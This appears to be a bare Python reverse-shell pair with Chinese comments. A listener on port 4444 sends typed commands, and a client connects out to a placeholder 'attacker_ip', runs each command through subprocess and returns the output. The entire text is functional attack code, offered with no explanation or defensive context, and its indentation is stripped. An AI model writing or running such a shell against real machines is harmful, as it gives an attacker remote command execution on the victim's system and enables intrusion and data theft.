# 服务端
import socket
s = socket.socket()
s.bind(("0.0.0.0", 4444))
s.listen(1)
conn, addr = s.accept()
while True:
cmd = input("$ ")
conn.send(cmd.encode())
print(conn.recv(1024).decode())
# 客户端
import socket,subprocess
s = socket.socket()
s.connect(("attacker_ip", 4444))
while True:
cmd = s.recv(1024).decode()
output = subprocess.getoutput(cmd)
s.send(output.encode())